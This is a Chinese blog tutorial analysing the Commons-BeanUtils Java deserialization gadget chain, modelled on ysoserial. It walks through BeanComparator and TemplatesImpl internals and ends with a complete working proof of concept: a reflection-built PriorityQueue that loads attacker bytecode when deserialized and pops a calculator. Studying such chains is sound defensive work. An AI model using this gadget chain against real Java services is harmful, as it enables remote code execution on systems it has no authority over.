【Java安全】CB链详细分析

news/2025/3/13 0:53:07/文章来源:https://www.cnblogs.com/o-O-oO/p/18677124

免责申明:

本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

环境配置

pom.xml添加:

<dependency>  <groupId>commons-beanutils</groupId>  <artifactId>commons-beanutils</artifactId>  <version>1.8.3</version>  
</dependency>  
<dependency>  <groupId>commons-logging</groupId>  <artifactId>commons-logging</artifactId>  <version>1.2</version>  
</dependency>

测试环境

commons-beanutils 1.8.3
commons-logging:commons-logging:1.2
JDK 8u411
commons-collections3.2.1

这里需要3.2.1的原因是后面要利用的BeanComparator要用:

踩了一下坑,这里4是用不了的

正式学习

Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通java类对象(也称为JavaBean)的一些操作方法。

而JavaBean是一个遵循特定写法的Java类,它通常具有如下特点:

这个类必须具有一个无参的构造函数(一般我们没自定义构造函数的话默认的就是无参的构造函数)

属性必须私有化

私有化的属性必须通过public类型的方法暴露给其他程序,并且方法的命名也必须遵守一定的命名规范。

比如如下的Cat类就是一个最简单的JavaBean类:

final public class Cat {private String name = "catalina";public String getName() {return name;}public void setName(String name) {this.name = name;}
}

它包含一个私有属性name,和读取和设置这个属性的两个方法,又称为getter和setter。

需要了解的类

PropertyUtils

它是对JavaBean进行操作的工具类,可单独为某个属性进行值的操作的工具类。它利用反射操作Bean的属性。这个类位于org.apache.commons.beanutils.PropertyUtils。

PropertyUtils类中提供了一些public的静态方法,以便直接调用一些getter和setter方法:

getProperty:返回指定Bean的指定属性的值

getSimpleProperty:返回执行Bean的指定属性的值

setProperty:设置指定Bean的指定属性的值

etSimpleProperty:设置指定Bean的指定属性的值

看一个实例:

package org.example;
import org.apache.commons.beanutils.PropertyUtils;public class Main{private  String name;public void setName(String name){this.name = name;}public String getName(){return this.name;}public static void main(String[] args) throws Exception {Main x = new Main();PropertyUtils.setProperty(x,"name","fupanc");System.out.println(x.getName());x.setName("haha");System.out.println(PropertyUtils.getProperty(x,"name"));}
}

输出为:

fupanc
haha

看这个结果已经很容易知道前面的方法是干嘛的了。注意一下在调用方法时对于参数设置的问题。

所以这里其实很容易看出,PropertyUtils.getProperty/setProperty方法,参数一定要注意,其实就可以理解为调用对应类变量的getter和setter方法。
BeanComparator

前面也说过,其实CB链就是cc2的基础上新找了一个调用compare进行利用。在ysoserial中利用到的是BeanComparator类,这个类位于org.apache.commons.beanutils.BeanComparator,我们来看一下他的compare方法:

重点关注:

前面说过getProperty()方法,在这里那么就会调用o1、o2对象的property变量的getter方法。

在ysoserial中,CB链利用到了TemplatesImpl类,是通过PropertyUtils.getProperty来调用_outputProperties变量的getter方法,也就是TemplatesImpl的getOutputProperties方法来动态加载字节码,那么现在来看一下getOutputProperties()方法的源码:

这里调用了newTransformer()方法,在这里就可以进行一次恶意动态加载字节码的过程。

那么在BeanComparator的compare()方法中,我们需要控制o1/o2为TemplatesImpl对象,this.Properties为outputProperties字符串。

看一下BeanComparator类的构造方法,按照前面的描述,我们这里不需要自定义this.comparator变量,这里我们要利用到的是构造方法是:

其实也就是下面那个,但是直接使用“默认”的comparator了。

攻击构造

前面把基本的链给了出来,在这里还是利用的PriorityQueue作为序列化和反序列化的类,反序列化的时候是差不多的,最终到调用compare()方法的地方是:

现在其实感觉和CC2差不多了。

构造基本的字节码:

package org.example;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;public class Main{public static void main(String[] args) throws Exception {byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));TemplatesImpl tem = new TemplatesImpl();setFieldValue(tem,"_name","fupanc");setFieldValue(tem,"_bytecodes",new byte[][]{code});setFieldValue(tem, "_class", null);setFieldValue(tem, "_tfactory", new TransformerFactoryImpl());}public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj,value);}
}

然后其他流程直接当做cc2那里看,现在简单分别分析一下过程。

反序列化部分

和CC2差不多,PriorityQueue的readObject() ⏩heapify() ⏩siftDown() ⏩siftDownUsingComparator,最终也就是如下:

按照CC2过程来,假如我们add进两个值,那么这里的k为0,x为queue[0]的值,也就是我们第一个add进的值,同时看这个方法的内部,那么再分别说一下值问题:

half:1child:1right:2

所以上面的c对应我们前面add进的第二个值,看大小情况可以知道是会进入第二个if条件语句,对应参数分别为(x:queue[0],c:queue[1])。

结合前面对BeanComparator类的compare()方法的描述,可以知道我们这里至少需要一个为设计好了的TemplatesImpl类对象。

序列化部分

add()有个部分,在第二次add进值的时候:

按照前面的说法,这里会进入BeanComparator的compare()方法,这里的k即是1,x即是我第二次要放入的值,e就是queue[0],也就是我放入的第一个值。看这里的compare()的值,看参数(x:add2,e:queue[0]),在前面序列化的时候说了,我们需要至少add进一个TemplatesImpl类实例,那么其实在这里同样可以尝试一下构造在序列化时弹出计算机:

package org.example;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;public class Main{public static void main(String[] args) throws Exception {byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));TemplatesImpl tem = new TemplatesImpl();setFieldValue(tem,"_name","fupanc");setFieldValue(tem,"_bytecodes",new byte[][]{code});setFieldValue(tem, "_class", null);setFieldValue(tem, "_tfactory", new TransformerFactoryImpl());BeanComparator bean = new BeanComparator("outputProperties");PriorityQueue priority = new PriorityQueue(2,bean);priority.add(1);priority.add(tem);}public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj,value);}
}

成功按照预期弹出一个计算机。还有就是存在一个和之前一样的问题,当我利用TemplatesImpl来动态加载恶意字节码的时候,如果我add进两个tem,只会弹出一个计算机,在第一个结束后会直接报错结束,并不会进入第二个利用点:

比如CC4等。

还有一个需要注意的点就是这里add进的顺序也有讲究,比如我像上面代码那样只add进一个,那么我必须保证tem在o1,因为o1/o2必须为一个类实例,按照前面将的参数问题,o1对应add2,也就是我要在第二个地方add进tem,否则会直接报错退出。

那么我们现在继续关注第二次add后会发生什么: 在前面抛出异常后,不知道调用compare()方法后到底会返回什么,那么我们直接打断点来看会到哪里,发现确实会在抛出异常后直接退出,那么这样我们并不能成功在queue[1]成功设置为tem,从而导致后续都失败。

在ysoserial中给出了解决方法,我们可以先往里面随便add进值,然后再反射更改为我想利用的,那么测试代码可以改为:

package org.example;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;public class Main{public static void main(String[] args) throws Exception {byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));TemplatesImpl tem = new TemplatesImpl();setFieldValue(tem,"_name","fupanc");setFieldValue(tem,"_bytecodes",new byte[][]{code});setFieldValue(tem, "_class", null);setFieldValue(tem, "_tfactory", new TransformerFactoryImpl());BeanComparator bean = new BeanComparator("outputProperties");PriorityQueue priority = new PriorityQueue(2,bean);priority.add(1);priority.add(1);Object[] x = new Object[]{1,tem};Field field1 = PriorityQueue.class.getDeclaredField("queue");field1.setAccessible(true);field1.set(priority,x);ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));out.writeObject(priority);out.close();ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));input.readObject();input.close();}public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj,value);}
}

然后这里报错了我们上面说的问题,PropertyUtils的getProperty的方法第一个参数需要为类实例,但是我们这里传入的都是整数,所以在第二次add后会报错。

解决方法,在BeanComparator的compare()方法中:

这里只要满足property为null,就不会再调用getProperty()方法,而是正常的compare方法来比较。

所以我们这里可以使得property先为null,而后再反射修改这个值为outputProperties。

那么POC为:

package org.example;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;public class Main{public static void main(String[] args) throws Exception {byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));TemplatesImpl tem = new TemplatesImpl();setFieldValue(tem,"_name","fupanc");setFieldValue(tem,"_bytecodes",new byte[][]{code});setFieldValue(tem, "_class", null);setFieldValue(tem, "_tfactory", new TransformerFactoryImpl());BeanComparator bean = new BeanComparator();PriorityQueue priority = new PriorityQueue(2,bean);priority.add(1);priority.add(1);//错误点Object[] x = new Object[]{1,tem};Field field1 = PriorityQueue.class.getDeclaredField("queue");field1.setAccessible(true);field1.set(priority,x);String name = "outputProperties";Field field2 = BeanComparator.class.getDeclaredField("property");field2.setAccessible(true);field2.set(bean,name);ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));out.writeObject(priority);out.close();ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));input.readObject();input.close();}public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj,value);}
}

继续报错

然后思考,这里逻辑明明没有问题,但是为啥还是弹这个问题,然后我尝试修改为传入两个tem,成功弹出计算机,然后再仔细比对一下,找出问题所在,问题处在前面的POC标出来了,感兴趣的可以先自己想想。

我前面的POC构造是按照序列化前的add()部分构造的,其中的顺序需要为:add1为其他,必须add2为tem。

但是在反序列化过程中

注意前面分析时给出的结果,在反序列时调用到BeanComparator的compare()方法时的参数分别为(x:queue[0],c:queue[1])。

所以这里是先调用的queue[0],同时结合我们前面的说法,只会调用一次,所以我们这里需要,如下设置:

Object[] x = new Object[]{tem,1};

那么最终的POC为:

package org.example;
import org.apache.commons.beanutils.BeanComparator;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;public class Main{public static void main(String[] args) throws Exception {byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\org\\example\\Test.class"));TemplatesImpl tem = new TemplatesImpl();setFieldValue(tem,"_name","fupanc");setFieldValue(tem,"_bytecodes",new byte[][]{code});setFieldValue(tem, "_class", null);setFieldValue(tem, "_tfactory", new TransformerFactoryImpl());BeanComparator bean = new BeanComparator();PriorityQueue priority = new PriorityQueue(2,bean);priority.add(1);priority.add(1);Object[] x = new Object[]{tem,1};Field field1 = PriorityQueue.class.getDeclaredField("queue");field1.setAccessible(true);field1.set(priority,x);String name = "outputProperties";Field field2 = BeanComparator.class.getDeclaredField("property");field2.setAccessible(true);field2.set(bean,name);ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));out.writeObject(priority);out.close();ObjectInputStream input = new ObjectInputStream(new FileInputStream("ser.ser"));input.readObject();input.close();}public static void setFieldValue(Object obj,String fieldName,Object value) throws Exception{Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj,value);}
}

最终也是成功按照预期弹出一个计算机。

原创 zkaq-fupanc 掌控安全EDU

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/870931.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

17-php相关知识

1、安装最新版phpstudy集成工具并创建一个网站,编写php代码输出网站信息(phpinfo)利用小皮创建一个名叫pikachu的网站,根目录为pikachu源码存放的目录在根目录下的test目录中创建info.php文件(内容为<?php phpinfo;?>)浏览器访问该地址,输出pikachu网站对应的ph…

ljnljn的春秋杯冬季赛wp(1.17)

杂项 1、See anything in these pics? 压缩包里有个码,确认是aztec码这个是压缩包密码,解压出一张图片 binwalk找到多个图片,foremost分离 1:JPEG image data, JFIF standard 1.01 2:PNG image, 360 x 450, 8-bit grayscale, non-interlaced 3:TIFF image data, big-endian…

金融行业构建高效知识库:策略与实践

在金融行业,信息的准确性和时效性至关重要。随着业务范围的扩大和产品线的丰富,金融机构面临着前所未有的知识管理挑战。一个高效、易用的内部知识库不仅能够提升员工工作效率,还能增强客户服务质量,促进业务创新。本文将提供一套快速搭建金融行业内部知识库的指南,并简要…

智慧医疗的知识库:赋能医疗创新与患者服务

智慧医疗的发展正深刻改变着医疗行业的面貌,从精准医疗到远程诊疗,从健康管理到疾病预防,技术的革新带来了前所未有的机遇。然而,随着医疗数据的爆炸式增长和医疗知识的不断更新,如何高效管理并利用这些知识成为智慧医疗发展的关键。本文将对智慧医疗内部知识库进行深入剖…

如何对需求分析进行测试(阅读《有效需求分析》触发的思考)

我的初步理解 1. 明确满意条件定义任务的满意条件(验收条件),确保开发目标清晰可衡量。2. 提供Checklist制定Checklist,明确必填项和关键检查点,确保任务完成的完整性和一致性。3. 需求与特性的关联需求归属:明确当前用户需求属于哪个特性(Feature),并了解该特性下的其…

在绩效管理中采用OKR的优势

现代的绩效管理体系剔除旧的年度绩效管理系统,以获取此现代系统的好处,该系统可基于连续的反馈进行频繁的绩效评估系统。 OKR绝对清晰地说明了需要优先考虑的事项以及如何帮助公司取得成功。 透明度和与组织目标的一致性可确保员工符合组织目标,并更有动力和参与度基于OKR的…

2025高级java面试精华及复习方向总结

1. Java基础 顶顶顶顶的点点滴滴 1.1 java集合关系结构图 1.2 如何保证ArrayList的线程安全 方法一: 使用 Collections 工具类中的 synchronizedList 方法List<String> synchronizedList = Collections.synchronizedList(new ArrayList<>()); 使用锁机制 …

【Spring Boot】Spring Boot + 规则引擎 URule,太强了!

1. 介绍 2. 安装使用 3. 基础概念3.1 整体介绍3.2 库文件3.3 规则集3.4决策表3.5其他4. 运用场景 5. 总结前段时间,在做项目重构的时候,遇到很多地方需要做很多的条件判断。当然可以用很多的if-else判断去解决,但是当时也不清楚怎么回事,就想玩点别的。于是乎,就去调研了规…

rustdesk专用服务器/月付8元、京东BGP线路10M带宽

今天给大家推荐一夸Rustdesk专用服务器(并不是官方专门为了为了搭建rustdesk出的套餐,而是根据rustdesk搭建要求作者找到的),因为这个额服务器的带宽10M,并且还是京东机房BGP线路,所以稳定性肯定没有问题。并且我搭建了这个服务器,经过测试自己使用有时候延迟30ms左右,…

对于 Blazor 组件虚拟化支持flex-wrap: wrap与网格布局的研究 [二]

接上篇文章 Blazor 通过组件虚拟化提高性能 自适应 可以试封装成组件, 公开 itemsPerRow 和 itemsHeight 等参数, 配合查询父元素/屏幕宽度,就能自适应调节了. 在 Blazor 组件中使用 JavaScript 互操作来查询 id="div-test" 元素的渲染宽度。以下是如何实现的步骤:在…

Pebbles pg walkthrough Easy

NMAP ┌──(root㉿kali)-[/home/ftpuserr] └─# nmap -p- -A -sS 192.168.239.52 Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-17 06:26 UTC Nmap scan report for 192.168.239.52 Host is up (0.071s latency). Not shown: 65530 filtered tcp ports (no-response)…

app_测试__uiautomatorviewer.bat(闪退)

uiautomatorviewer 闪退 1、原因原因jdk版本不兼容(直接装个jdk1.8) 2、进入sdk/tools/lib文件夹下,找到uiautomatorviewer.jar包添加上对应的内容,并保存 选择sdk/tools文件夹下的uiautomatorviewer.bat,右键选择编辑,将对应内容删除并保存 再次双击uiautomatorviewer.…